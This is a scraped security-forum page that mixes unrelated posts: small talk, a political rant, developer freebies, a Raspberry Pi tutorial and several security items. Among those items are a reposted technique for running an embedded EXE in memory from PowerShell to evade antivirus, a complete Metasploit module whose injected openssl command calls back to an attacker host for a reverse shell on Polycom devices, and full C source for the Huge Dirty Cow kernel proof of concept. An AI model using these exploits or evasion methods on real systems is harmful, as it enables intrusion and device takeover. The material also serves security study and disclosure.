Leaderboard

Life of a software developer

Stack Based Buffer Overflows on x86 (Windows) – Part I I wrote this article in Romanian, in 2014, and I decided to translate it, because it is a very detailed introduction in the exploitation of a “Stack Based Buffer Overflow” on x86 (32 bits) Windows. Introduction This tutorial is for beginners, but it requires at least some basic knowledge about C/C++ programming in order to understand the concepts. The system that we will use and exploit the vulnerability on is Windows XP (32 bits – x86) for simplicity reasons: there is not DEP and ASLR, things that will be detailed later. I would like to start with a short introduction on assembly (ASM) language. It will not be very detailed, but I will shortly describe the concepts required to understand how a “buffer overflow” vulnerability looks like, and how it can be exploited. There are multiple types of buffer overflows, here we will discuss only the easiest to understand one, stack based buffer overflow. Sursa: https://nytrosecurity.com/2017/12/09/stack-based-buffer-overflows-on-x86-windows-part-i/

Up. Aștept noi proiecte. Am programul liber momentan.

@Zatarra, ce preferi: iMac sau garsoniera?

Daca au fraudat alegerile "prin sisteme informatice sau mijloace de comunicare electronica". Safety net oricum, pana la o sentinta de arest preventiv ii cale lunga. Au destule metode si oameni de care se pot folosi. Nu ajungi intr-o functie inalta daca esti curat, detin informatii cu care sa te santajeze. Ce se mai certau acum cativa ani care institutii sa asculte telefoanele si care nu. Zdrente orindare. Edit: Nu merita sa te stresezi. Edit2: Prea multe coincidente. Cum au bagat sistemul de monitorizare a prezentei la vot a si iesit PSD numarul unu, si la locale si la parlamentare. Al dracului ca nu gasesc cine a castigat licitatia pentru soft.

Salutare, M-am gandit ca poate ajuta pe cineva.Daca va faceti cont pe link-ul: https://my.visualstudio.com/benefits Aveti cateva beneficii, o sa enumar o parte din ele poate este cineva interesat. 1.Professional Development Data Camp - 2 luni subscriptie gratis Pluralsight - 3 luni subscriptie gratis Linux academy - 2 luni gratis si multe altele 2. Tools and features Azure - free account + 200$ credit Visual studio community edition si multe alte tool-uri interesante. Spor la invatat!

Sursa: https://www.google.ro/amp/s/truesecdev.wordpress.com/2016/03/15/embedding-exe-files-into-powershell-scripts/amp/ Fabio Viggiani 2 years ago As sometimes happens, when you solve a particular problem, you realize that the solution can be generalized to cover more scenarios than the one you had in mind. This is one of those stories. I was trying to resolve an issue with creating a pure PowerShell payload as part of a client-side attack. Using PowerShell to run malicious code has many advantages, including: No need to install anything on the target. Very powerful engine underneath (e.g. you can directly invoke .NET code). You can use base64-encoded commands to obfuscate your evil commands, making the attack a little less obvious to spot. This is also a way to avoid escaping all the special characters, especially in advanced attacks involving several steps to deliver the payload. You can use Invoke-Expression to interpret strings as PowerShell commands. From a penetration tester’s perspective, this is very useful to avoid writing complex scripts on disk. For example, you can use PowerShell to download an additional (complex) script, and pipe it directly to Invoke-Expression, which will interpret and execute the downloaded script in memory, within the PowerShell process. This also avoid antivirus detection. The payload I wanted to run on the target included fairly complex functionalities. I had those functionalities as part of an EXE file. I didn’t want to drop the binary on the target system since it could potentially trigger an antivirus. I wanted to use PowerShell, but I didn’t want to rewrite the whole thing in PowerShell. So I came up with a solution. The objective is to embed a binary into a PowerShell script, and run it from within the script without writing it on disk. This is how the solution works: 1. Take your binary file and base64-encode it You can use the following function: function Convert-BinaryToString { [CmdletBinding()] param ( [string] $FilePath ) try { $ByteArray = [System.IO.File]::ReadAllBytes($FilePath); } catch { throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct."; } if ($ByteArray) { $Base64String = [System.Convert]::ToBase64String($ByteArray); } else { throw '$ByteArray is $null.'; } Write-Output -InputObject $Base64String; } 2. Create a new script with the following: The EXE converted to string created in point 1 The function Invoke-ReflectivePEInjection (part of the Powersploit project) Convert the string to byte array Call Invoke-ReflectivePEInjection So basically your binary is just a string in the PowerShell script. Once decoded as a byte array, the function Invoke-ReflectivePEInjection (part of the Powersploit project) will run it in memory within the PowerShell process. The final payload will look something like this: # Your base64 encoded binary $InputString = '...........' function Invoke-ReflectivePEInjection { ...... ...... ...... } # Convert base64 string to byte array $PEBytes = [System.Convert]::FromBase64String($InputString) # Run EXE in memory Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" You can now run the script on the target like this: powershell -ExecutionPolicy Bypass -File payload.ps1 Depending on the binary you embedded, you might get the following error: PE platform doesn't match the architecture of the process it is being loaded in (32/64bit) To fix the issue, simply run the 32 bit PowerShell: %windir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File payload.ps1 In the example below, I embedded plink.exe in payload.ps1 Pretty cool, uh?

http://web.archive.org/web/20101224064236/http://codingthewheel.com/archives/how-to-inject-a-managed-assembly-dll

https://www.ripstech.com/php-security-calendar-2017/

Story Save and access docs and photos and music on your own local Pi Cloud server! The best part: you can use it if, or when, the Internet goes down (or if you're in a remote spot & want access to Wikipedia). Oh hey, and if your friend gets one and they live close (*ahem*80ft*ahem*), you can share stuff with them and make your own personal chat line! If enough folks built Pi Cloud servers, we could crowdsource the Internet! That would be an 11/10 on a scale of greatness. With the new models of the Raspberry Pi computer, it's possible and not even expensive! (What! Tell me more!) This tutorial will show you how to set up a short-range (~ 80 ft) WiFi Access Point and a personal web server ('bringin it back to HTML bbies). You can set this up as a (closed) local network only (i.e. your own personal "cloud" backup device), or broadcast it to the rest of the world! (..if you do this be sure you know network security.) That said, assuming you have a basic knowledge of the Pi, here's the breakdown: Read Time: ~ 40 min Build Time: ~ 60 min (less if you are experienced w/ Linux) Cost: ~ $35 (for the Pi 3) Link: https://www.hackster.io/jenfoxb0t/make-your-pi-a-local-cloud-server-c4f3f1

Researchers: Eran Vaknin, Gal Elbaz, Alon Boxiner, Oded Vanunu Latest research from the Check Point Research Team has revealed several vulnerabilities, that puts each and every organization that does any type of Java/Android development at great risk of a threat actor exploiting these vulnerabilities and penetrating them. The vulnerabilities in question are the developer tools, both downloadable and cloud based, that the Android application ecosystem, the largest application community in the world, is using. This includes the tools that all Java/Android programmers use to build their companies business applications and that security analysts and reverse engineers use to do their work. As seen in WikiLeak’s ‘Vault 7’ release earlier this year, the CIA and NSA are exploiting vulnerabilities in products of companies of all sizes, all over the world. Earlier this year we saw incidents of the CIA hacking CCleaner, Notepad++ and many more, with the aim of spreading malwares into organizations and acquiring information on their users, and the companies themselves. Through our own research we have found several vulnerabilities that affect the most common Android IDEs – Google’s Android Studio and JetBrains’ IntelliJ IDEA and Eclipse, as well as the major reverse engineering tools for Android applications such as APKTool, the Cuckoo-Droid service and more. Our research below illustrates how we exploited these tools to gain access to internal files. Since this research, Check Point reported the discovery to APKTool developers and the other IDE companies back in May 2017. In turn, Google and JetBrains have verified and acknowledged the security issues and have since effectively deployed a fix. Technical Details – From XXE to RCE: Attacking The Second Layer The first stage of our research was focused on APKTool, (Android Application Package Tool). As the most popular tool for reverse engineering third party Android apps, APKTool is used for supporting custom platforms, analyzing applications and much more, including the decoding and rebuilding of resources. The two main features of the APKTool are: 1. Decompiling an APK file. 2. Building an APK file. From our research we found that APKTool is vulnerable in both of these main features. By looking at the source code of APKTool, we managed to identify an XML External Entity (XXE) vulnerability, due to the fact that the configured XML parser of APKTool does not disable external entity references when parsing an XML file within the program. The vulnerable function is called loadDocument and it is being used in both core functionalities – ‘Build’ and ‘Decompile’ – of APKTool. The vulnerability exposes the whole OS file system of APKTool users, and as a result, attackers could then potentially retrieve any file on the victim’s PC by using a malicious “AndroidManifest.xml” file that exploits an XXE vulnerability, that could then be sent to a remote attacker server. And this attack scenario is just one of many possible XXE attack techniques that could lead to harmful outcomes. Realizing the enormity of this vulnerability to the Android developer and researcher community, we extended our research to the vulnerable XML parser called “DocumentBuilderFactory”, which is being used in APKTool project. Vulnerabilities in Developer Tools This led us to find multiple vulnerable implementations of the XML parser within other projects. Moreover, we identified that the most popular IDEs that are used for building Android applications are affected – including Intellij, Eclipse, and Android Studio. By simply loading the malicious “AndroidManifest.xml” file as part of any Android project, the IDEs starts spitting out any file configured by the attacker. To demonstrate this vulnerability, we have uploaded a malicious project library to GitHub and cloned it to an Android Studio project. Example of a Malicious Github Project With The XXE Payload: Cloned to Android Studio: Result: The attack was delivered successfully, and the protected file was stolen and sent to the presented attacker’s server without the user being aware of it – See image below: Furthermore, we have found another attack scenario that can be used in the wild to attack a massive range of Android developers by injecting a malicious AAR (Android Archive Library) containing our XXE payload into repositories. It is possible, for example, to upload an infected AAR to a public repository such as the central Maven repository, though for demonstration purposes we have uploaded an infected AAR to a local repository. Cloning the infected AAR from the repository by the victim would allow the attacker to steal sensitive files such as configuration files, source code, company digital proprietary and much more from the OS file system. Uploading a Malicious AAR to Local Repository: Adding the AAR to Android Studio Project: Result: The attack was delivered successfully, and the protected file was stolen and sent to the presented attacker’s server without the user being aware of it: Further research of the APKTool then led us to find an additional vulnerability that allows us to execute OS commands on a victim’s PC. For advance use of APKTool there is a configuration file named “APKTOOL.YML”. This file contains an interesting section called “unknownFiles”, which allows users to include a non-standard file location that will be placed correctly on the rebuild process of an APK. The selected files are saved on the filesystem in the ‘Unknown’ folder. A legitimate “APKTOOL.YML” file structure looks like this: By manipulating the path of the “unknownFiles” section inside the “APKTOOL.YML” file, it is possible to inject arbitrary files anywhere on the file system (Path Traversal). This is due to the fact that the APKTool does not validate the path of which the unknown files will be extracted from the packed APK. Indeed, injecting arbitrary files anywhere in the filesystem leads to full Remote Code Execution (RCE) – meaning that any APKTool user/service that will try to decode a crafted malicious APK is vulnerable to RCE. For demonstration purposes, we have created a Web Application similar to the official online APK decoder ( https://apk.tools ). APKTool will extract the malicious file (in this case we used a PHP web shell) to the wwwroot folder of that server: After building the APK with the modified configuration file, the result is a compressed APK with our malicious file inside the malformed path. Uploading the APK to the demo site allows the attacker to execute OS commands on the web application server. This attack could thus be launched against any online/offline service that decodes APKs behind the scenes using APKTool. The way we chose to demonstrate this vulnerability of course is just one of many possible attack methods that can be used to achieve full RCE. Indeed, the Path Traversal method lets us copy any file to any location on the file system, making the attack surface wide and various. All the attacks methods demonstrated above are cross-platform and generic and, as the APKTool is designed to work on top of several operating systems, it is also possible to attack any system on which it operates without restriction or limitation. It is impossible to estimate the number of users of this well-known open source project. Yet, knowing that among them are some large services and companies (e.g. https://apk.tools, http://www.javadecompilers.com/APKTool, https://www.apkdecompilers.com/, http://undroid.av-comparatives.info, Cuckoo droid and many more), we contacted APKTool developer and IDE companies and are pleased to report that they all fixed the security issues and released updated and improved versions of their products. Source: https://research.checkpoint.com/parsedroid-targeting-android-development-research-community/

Within Polycom command shell, a command execution flaw exists in lan traceroute, one of the dev commands, which allows for an attacker to execute arbitrary payloads with telnet or openssl. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Polycom Shell HDX Series Traceroute Command Execution', 'Description' => %q{ Within Polycom command shell, a command execution flaw exists in lan traceroute, one of the dev commands, which allows for an attacker to execute arbitrary payloads with telnet or openssl. }, 'Author' => [ 'Mumbai', # 'staaldraad', # https://twitter.com/_staaldraad/ 'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass 'h00die <mike@shorebreaksecurity.com>' # stole the code, creds to them ], 'References' => [ ['URL', 'https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/'] ], 'DisclosureDate' => 'Nov 12 2017', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [[ 'Automatic', {} ]], 'Payload' => { 'Space' => 8000, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet generic openssl'} }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, 'DefaultTarget' => 0 )) register_options( [ Opt::RHOST(), Opt::RPORT(23), OptString.new('PASSWORD', [ false, "Password to access console interface if required."]), OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]), OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ]) ]) end def check connect Rex.sleep(1) res = sock.get_once disconnect if !res && !res.empty? return Exploit::CheckCode::Unknown elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/ return Exploit::CheckCode::Detected end Exploit::CheckCode::Unknown end def exploit unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to connect to target service") end # # Obtain banner information # sock = connect Rex.sleep(2) banner = sock.get_once vprint_status("Received #{banner.length} bytes from service") vprint_line("#{banner}") if banner =~ /password/i print_status("Authentication enabled on device, authenticating with target...") if datastore['PASSWORD'].nil? print_error("#{peer} - Please supply a password to authenticate with") return end # couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case. sock.put("#{datastore['PASSWORD']}\n") res = sock.get_once if res =~ /Polycom/ print_good("#{peer} - Authenticated successfully with target.") elsif res =~ /failed/ print_error("#{peer} - Invalid credentials for target.") return end elsif banner =~ /Polycom/ # praise jesus print_good("#{peer} - Device has no authentication, excellent!") end do_payload(sock) end def do_payload(sock) # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) # Start a listener start_listener(true) # Figure out the port we picked cbport = self.service.getsockname[2] cmd = "devcmds\nlan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh`\n" sock.put(cmd) if datastore['VERBOSE'] Rex.sleep(2) resp = sock.get_once vprint_status("Received #{resp.length} bytes in response") vprint_line(resp) end # Give time for our command to be queued and executed 1.upto(5) do Rex.sleep(1) break if session_created? end end def stage_final_payload(cli) print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") cli.put(payload.encoded + "\n") end def start_listener(ssl = false) comm = datastore['ListenerComm'] if comm == 'local' comm = ::Rex::Socket::Comm::Local else comm = nil end self.service = Rex::Socket::TcpServer.create( 'LocalPort' => datastore['CBPORT'], 'SSL' => ssl, 'SSLCert' => datastore['SSLCert'], 'Comm' => comm, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) self.service.on_client_connect_proc = proc { |client| stage_final_payload(client) } # Start the listening service self.service.start end # Shut down any running services def cleanup super if self.service print_status("Shutting down payload stager listener...") begin self.service.deref if self.service.is_a?(Rex::Service) if self.service.is_a?(Rex::Socket) self.service.close self.service.stop end self.service = nil rescue ::Exception end end end # Accessor for our TCP payload stager attr_accessor :service end Source: https://packetstormsecurity.com/files/145225/Polycom-Shell-HDX-Series-Traceroute-Command-Execution.html

If you receive an email that looks like it's from one of your friends, just beware! It's possible that the email has been sent by someone else in an attempt to compromise your system. A security researcher has discovered a collection of vulnerabilities in more than 30 popular email client applications that could allow anyone to send spoofed emails bypassing anti-spoofing mechanisms. Discovered by security researcher Sabri Haddouche, the set of vulnerabilities, dubbed MailSploit, affects Apple Mail (macOS, iOS, and watchOS), Mozilla Thunderbird, several Microsoft email clients, Yahoo Mail, ProtonMail, and others. Although most of these affected email client applications have implemented anti-spoofing mechanisms, such as DKIM and DMARC, MailSploit takes advantage of the way email clients and web interfaces parse "From" header. Email spoofing is an old-school technique, but it works well, allowing someone to modify email headers and send an email with the forged sender address to trick recipients into believing they are receiving that email from a specific person. In a dedicated website went up today, Haddouche explained how the lack of input sanitization implemented by vulnerable email clients could lead to email spoofing attack—without actually exploiting any flaw in DMARC. To demonstrate this attack, Haddouche created a payload by encoding non-ASCII characters inside the email headers, successfully sending a spoofed email from an official address belonging to President of the United States. "Using a combination of control characters such as new lines or null-byte, it can result in hiding or removing the domain part of the original email," Haddouche says in his blog post. "We've seen a lot of malware spreading via emails, relying on social engineering techniques to convince users to open unsafe attachments, or click on phishing links. The rise of ransomware distributed over email clearly demonstrates the effectivity of those mechanisms." Besides spoofing, the researcher found some of the email clients, including Hushmail, Open Mailbox, Spark, and Airmail, are also vulnerable to cross-site scripting (XSS) vulnerabilities, which stems from the email spoofing issue. Haddouche reported this spoofing bug to 33 different client applications, 8 of which have already patched this issue in their products before the public disclosure and 12 are on their way to fix it. Here you can find the list of all email and web clients (both patched and unpatched) that are vulnerable to MailSploit attack. However, Mozilla and Opera consider this bug to be a server-side issue and will not be releasing any patch. Mailbird closed the ticket without responding to the issue, while remaining 12 vendors did not yet comment on the researcher's report. Via thehackernews.com

"Huge Dirty Cow" POC A POC for the Huge Dirty Cow vulnerability (CVE-2017-1000405). Full details can be found here. Before running, make sure to set transparent huge pages to "always": echo always | sudo tee /sys/kernel/mm/transparent_hugepage/enabled Download HugeDirtyCowPOC-master.zip mirror: // // The Huge Dirty Cow POC. This program overwrites the system's huge zero page. // Compile with "gcc -pthread main.c" // // November 2017 // Bindecy // #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sched.h> #include <string.h> #include <pthread.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/wait.h> #define MAP_BASE ((void *)0x4000000) #define MAP_SIZE (0x200000) #define MEMESET_VAL (0x41) #define PAGE_SIZE (0x1000) #define TRIES_PER_PAGE (20000000) struct thread_args { char *thp_map; char *thp_chk_map; off_t off; char *buf_to_write; int stop; int mem_fd1; int mem_fd2; }; typedef void * (*pthread_proc)(void *); void *unmap_and_read_thread(struct thread_args *args) { char c; int i; for (i = 0; i < TRIES_PER_PAGE && !args->stop; i++) { madvise(args->thp_map, MAP_SIZE, MADV_DONTNEED); // Discard the temporary COW page. memcpy(&c, args->thp_map + args->off, sizeof(c)); read(args->mem_fd2, &c, sizeof(c)); lseek(args->mem_fd2, (off_t)(args->thp_map + args->off), SEEK_SET); usleep(10); // We placed the zero page and marked its PMD as dirty. // Give get_user_pages() another chance before madvise()-ing again. } return NULL; } void *write_thread(struct thread_args *args) { int i; for (i = 0; i < TRIES_PER_PAGE && !args->stop; i++) { lseek(args->mem_fd1, (off_t)(args->thp_map + args->off), SEEK_SET); madvise(args->thp_map, MAP_SIZE, MADV_DONTNEED); // Force follow_page_mask() to fail. write(args->mem_fd1, args->buf_to_write, PAGE_SIZE); } return NULL; } void *wait_for_success(struct thread_args *args) { while (args->thp_chk_map[args->off] != MEMESET_VAL) { madvise(args->thp_chk_map, MAP_SIZE, MADV_DONTNEED); sched_yield(); } args->stop = 1; return NULL; } int main() { struct thread_args args; void *thp_chk_map_addr; int ret; // Mapping base should be a multiple of the THP size, so we can work with the whole huge page. args.thp_map = mmap(MAP_BASE, MAP_SIZE, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (args.thp_map == MAP_FAILED) { perror("[!] mmap()"); return -1; } if (args.thp_map != MAP_BASE) { fprintf(stderr, "[!] Didn't get desired base address for the vulnerable mapping.\n"); goto err_unmap1; } printf("[*] The beginning of the zero huge page: %lx\n", *(unsigned long *)args.thp_map); thp_chk_map_addr = (char *)MAP_BASE + (MAP_SIZE * 2); // MAP_SIZE * 2 to avoid merge args.thp_chk_map = mmap(thp_chk_map_addr, MAP_SIZE, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (args.thp_chk_map == MAP_FAILED) { perror("[!] mmap()"); goto err_unmap1; } if (args.thp_chk_map != thp_chk_map_addr) { fprintf(stderr, "[!] Didn't get desired base address for the check mapping.\n"); goto err_unmap2; } ret = madvise(args.thp_map, MAP_SIZE, MADV_HUGEPAGE); ret |= madvise(args.thp_chk_map, MAP_SIZE, MADV_HUGEPAGE); if (ret) { perror("[!] madvise()"); goto err_unmap2; } args.buf_to_write = malloc(PAGE_SIZE); if (!args.buf_to_write) { perror("[!] malloc()"); goto err_unmap2; } memset(args.buf_to_write, MEMESET_VAL, PAGE_SIZE); args.mem_fd1 = open("/proc/self/mem", O_RDWR); if (args.mem_fd1 < 0) { perror("[!] open()"); goto err_free; } args.mem_fd2 = open("/proc/self/mem", O_RDWR); if (args.mem_fd2 < 0) { perror("[!] open()"); goto err_close1; } printf("[*] Racing. Gonna take a while...\n"); args.off = 0; // Overwrite every single page while (args.off < MAP_SIZE) { pthread_t threads[3]; args.stop = 0; ret = pthread_create(&threads[0], NULL, (pthread_proc)wait_for_success, &args); ret |= pthread_create(&threads[1], NULL, (pthread_proc)unmap_and_read_thread, &args); ret |= pthread_create(&threads[2], NULL, (pthread_proc)write_thread, &args); if (ret) { perror("[!] pthread_create()"); goto err_close2; } pthread_join(threads[0], NULL); // This call will return only after the overwriting is done pthread_join(threads[1], NULL); pthread_join(threads[2], NULL); args.off += PAGE_SIZE; printf("[*] Done 0x%lx bytes\n", args.off); } printf("[*] Success!\n"); err_close2: close(args.mem_fd2); err_close1: close(args.mem_fd1); err_free: free(args.buf_to_write); err_unmap2: munmap(args.thp_chk_map, MAP_SIZE); err_unmap1: munmap(args.thp_map, MAP_SIZE); if (ret) { fprintf(stderr, "[!] Exploit failed.\n"); } return ret; } Source: https://github.com/bindecy/HugeDirtyCowPOC

@robert2alin in continuare la https://rstforums.com/forum/topic/107079-iphone-8-blacklist/?do=findComment&comment=655986 asta am rezolvat. Spor!